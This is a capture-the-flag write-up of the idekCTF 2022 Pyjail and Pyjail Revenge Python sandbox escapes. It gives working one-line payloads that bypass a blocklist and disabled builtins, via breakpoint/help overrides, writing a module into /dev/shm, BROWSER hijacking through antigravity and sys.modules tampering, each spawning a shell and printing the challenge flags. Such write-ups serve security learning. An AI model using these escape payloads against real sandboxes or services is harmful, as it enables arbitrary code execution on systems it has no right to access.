idek 2022* CTF Pyjail && Pyjail Revenge Writeup

Pyjail:

The code looks like this

1
2
3
blocklist = ['.', '\\', '[', ']', '{', '}',':']
DISABLE_FUNCTIONS = ["getattr", "eval", "exec", "breakpoint", "lambda", "help"]
DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS}

There is a blocklist ban off '.' , '\\', '[', ']', '{', '}', ':'. Then there is a DISABLE_FUNCTIONS that registers None objects for 'getattr', 'eval', 'exec', 'breakpoint', 'lambda', 'help' and overrides the corresponding functions in __builtins__. Also, the file name is jail.py, and the one in docker is also jail, so you can use __import__('jail'), but you may have to type it twice, so it’s better to use __import__(__main__).
Also flag sets permission not to read directly and then gives a readflag, called with the argument /readflag giveflag
Also, this question can be executed in multiple lines, so you can do something like emptying the blocklist as follows

1
2
3
4
5
6
7
8
9
10
11
12
welcome!
>>> setattr(__import__('__main__'),'blocklist','')
None
>>> __import__('os').system('sh')
sh: 0: can't access tty; job control turned off
$ ls
jail.py readflag.c
$ ls /
bin ctf etc home lib media opt readflag run srv tmp var
boot dev flag kctf lib64 mnt proc root sbin sys usr
$ /readflag giveflag
idek{9eece9b4de9380bc3a41777a8884c185}

There is of course a second version that uses __import__('jail') to load, but it seems to have to be exploited twice

1
2
3
4
5
6
7
8
9
welcome!
>>> setattr(__import__('jail'),'blocklist','')
welcome!
>>> setattr(__import__('jail'),'blocklist','')
None
>>> __import__('os').system('sh')
sh: 0: can't access tty; job control turned off
$ /readflag giveflag
idek{9eece9b4de9380bc3a41777a8884c185}

Pyjail Revenge:

Not solved during the game Repeated after the game

The difference between the Revenge version and the normal version is that blocklist adds blocklist, globals and compile

1
blocklist = ['.' , '\\', '[', ']', '{', '}', ':', "blocklist", "globals", "compile"]

You can only enter one line at a time, not multiple times, so the previous solution does not work at the moment. However, the following versions can be tried

Method 1 remove overlay:

DISABLE_FUNCTIONS registers the None objects of "getattr", "eval", "exec", "breakpoint", "lambda", "help" and overrides the corresponding functions in its __builtins__, so just delete the overridden global variables OK
The global variable can pass globals(), vars(), locals(), etc. Of course, it can also bypass the blocklist in the form of unicode, such as globals, so that the function in DISABLE_FUNCTIONS can be deleted and then called.
For example, first use setattr to cover __dict__ of some useless classes with globals(), vars(), locals(), then delete those ISABLE_FUNCTIONS through delattr, and then call

For example:
vars(), locals() can be used

Override copyright and call the breakpoint function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
welcome!
>>> setattr(copyright,'__dict__',globals()),delattr(copyright,'breakpoint'),breakpoint()
--Return--
> <string>(1)<module>()->(None, None, None)
(Pdb) import os;os.system('sh')
sh: 0: can't access tty; job control turned off
$ /readflag giveflag
idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}

welcome!
>>> setattr(copyright,'__dict__',vars()),delattr(copyright,'breakpoint'),breakpoint()
--Return--
> <string>(1)<module>()->(None, None, None)
(Pdb) import os;os.system('sh')
sh: 0: can't access tty; job control turned off
$ /readflag giveflag
idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}

welcome!
>>> setattr(copyright,'__dict__',locals()),delattr(copyright,'breakpoint'),breakpoint()
--Return--
> <string>(1)<module>()->(None, None, None)
(Pdb) import os;os.system('sh')
sh: 0: can't access tty; job control turned off
$ /readflag giveflag
idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}

Override the license to call the breakpoint function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
welcome!
>>> setattr(license,'__dict__',globals()),delattr(license,'breakpoint'),breakpoint()
--Return--
> <string>(1)<module>()->(None, None, None)
(Pdb) import os;os.system('sh')
sh: 0: can't access tty; job control turned off
$ /readflag giveflag
idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}

welcome!
>>> setattr(license,'__dict__',vars()),delattr(license,'breakpoint'),breakpoint()
--Return--
> <string>(1)<module>()->(None, None, None)
(Pdb) import os;os.system('sh')
sh: 0: can't access tty; job control turned off
$ /readflag giveflag
idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}

welcome!
>>> setattr(license,'__dict__',locals()),delattr(license,'breakpoint'),breakpoint()
--Return--
> <string>(1)<module>()->(None, None, None)
(Pdb) import os;os.system('sh')
sh: 0: can't access tty; job control turned off
$ /readflag giveflag
idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}

The parameters related to coverage can be found in these:

https://github.com/python/cpython/blob/c5660ae96f2ab5732c68c301ce9a63009f432d93/Lib/site.py#L400-L426
quit,copyright,exit,license,credits

Of course, because of this version, he is such a startup parameter

1
2
3
ENTRYPOINT socat \
TCP-LISTEN:1337,reuseaddr,fork,end-close \
EXEC:"./jail.py",pty,ctty,stderr,raw,echo=0

So you can also delete help() and then use help() to rce again, but the remote environment may have some restrictions that may cause /tmp to disappear, /tmp is unreadable, but it can work locally

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
welcome!
>>> setattr(license,'__dict__',locals()),delattr(license,'help'),help()

Welcome to Python 3.8's help utility!

If this is your first time using Python, you should definitely check out
the tutorial on the Internet at https://docs.python.org/3.8/tutorial/.

Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules. To quit this help utility and
return to the interpreter, just type "quit".

To get a list of available modules, keywords, symbols, or topics, type
"modules", "keywords", "symbols", or "topics". Each module also comes
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as "spam", type "modules spam".

help> os
[Errno 2] No usable temporary directory found in ['/tmp', '/var/tmp', '/usr/tmp', '/home/user']

Method 2 Modify sys.path, write the file and then import:

It consists of the following parts

  1. Overwrite the property of sys.path through setattr, covering it as writable /dev/shm
  2. Then pass the file parameter of the print function https://blog.csdn.net/no_giveup/article/details/72017925, and then use open to open and write.. will be Replaced with chr(46)
  3. Use __import__ to load the written file name, and then execute the code

which are respectively

  1. setattr(__import__("sys"), "path", list(("/dev/shm/",)))
  2. print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/exp" + chr(46) + "py", "w"))
  3. __import__("exp")

final payload:

1
(setattr(__import__("sys"), "path", list(("/dev/shm/",))), print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/exp" + chr(46) + "py", "w")), __import__("exp"))

result:

1
2
3
4
5
welcome!
>>> (setattr(__import__("sys"), "path", list(("/dev/shm/",))), print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/exp" + chr(46) + "py", "w")), __import__("exp"))
idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}
0
(None, None, <module 'lol' from '/dev/shm/exp.py'>)

Of course, it should be caused by environmental problems. The /tmp of the remote environment is read-only, but it should be writable. If the above path is writable in tmp, the relevant payload can also be completed.

Method 3 antigravity hijacks the BROWSER environment variable:

And antigravity can be seen from here https://towardsdatascience.com/7-easter-eggs-in-python-7765dc15a203

This solution comes from the author’s expected solution. This question is very interesting. Use setattr to overwrite the environment variable BROWSER in os.environ so that it can be executed. Track it
https://github.com/python/cpython/blob/main/Lib/antigravity.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import webbrowser
import hashlib

webbrowser.open("https://xkcd.com/353/")

def geohash(latitude, longitude, datedow):
'''Compute geohash() using the Munroe algorithm.
>>> geohash(37.421542, -122.085589, b'2005-05-26-10458.68')
37.857713 -122.544543
'''
# https://xkcd.com/426/
h = hashlib.md5(datedow, usedforsecurity=False).hexdigest()
p, q = [('%f' % float.fromhex('0.' + x)) for x in (h[:16], h[16:32])]
print('%d%s %d%s' % (latitude, p[1:], longitude, q[1:]))

Found that it called webbrowser, continue to track
You can see from here that there is register_standard_browsers in the open function
https://github.com/python/cpython/blob/main/Lib/webbrowser.py#L84

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def open(url, new=0, autoraise=True):
"""Display url using the default browser.
If possible, open url in a location determined by new.
- 0: the same browser window (the default).
- 1: a new browser window.
- 2: a new browser page ("tab").
If possible, autoraise raises the window (the default) or not.
"""
if _tryorder is None:
with _lock:
if _tryorder is None:
register_standard_browsers()
for name in _tryorder:
browser = get(name)
if browser.open(url, new, autoraise):
return True
return False

Continue to track register_standard_browsers to find that it checks the BROWSER environment variable in os.environ
https://github.com/python/cpython/blob/main/Lib/webbrowser.py#L585

1
2
3
4
5
6
7
8
9
10
11
if "BROWSER" in os.environ:
userchoices = os.environ["BROWSER"].split(os.pathsep)
userchoices.reverse()

# Treat choices in same way as if passed into get() but do register
# and prepend to _tryorder
for cmdline in userchoices:
if cmdline != '':
cmd = _synthesize(cmdline, preferred=True)
if cmd[1] is None:
register(cmdline, None, GenericBrowser(cmdline), preferred=True)

Where GenericBrowser can run cmdline
https://github.com/python/cpython/blob/main/Lib/webbrowser.py#L181

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class GenericBrowser(BaseBrowser):
"""Class for all browsers started with a command
and without remote functionality."""

def __init__(self, name):
if isinstance(name, str):
self.name = name
self.args = ["%s"]
else:
# name should be a list with arguments
self.name = name[0]
self.args = name[1:]
self.basename = os.path.basename(self.name)

def open(self, url, new=0, autoraise=True):
sys.audit("webbrowser.open", url)
cmdline = [self.name] + [arg.replace("%s", url)
for arg in self.args]
try:
if sys.platform[:3] == 'win':
p = subprocess.Popen(cmdline)
else:
p = subprocess.Popen(cmdline, close_fds=True)
return not p.wait()
except OSError:
return False

final exp:

1
__import__('antigravity',setattr(__import__('os'),'environ',dict(BROWSER='/bin/sh -c "/readflag giveflag" #%s'))) 

Method 4 Let __import__ load getattr to take effect by restoring sys.modules:

Since __import__ will first look for sys.modules https://github.com/python/cpython/blob/48ec678287a3be1539823fa3fc0ef457ece7e1c6/Lib/importlib/_bootstrap.py#L1101 when loading, you can first override sys.modules by setattr __builtins__, so that __import__ can call getattr. Through getattr, os.system can be loaded. Since it is banned, you can use __import__('os'), 'system', and then pass the parameter 'sh'.

1
setattr(__import__('sys'),'modules',__builtins__) or __import__('getattr')(__import__('os'),'system')('sh')

end

Thanks to lrh2000,UnblvR,maple3142 help for this article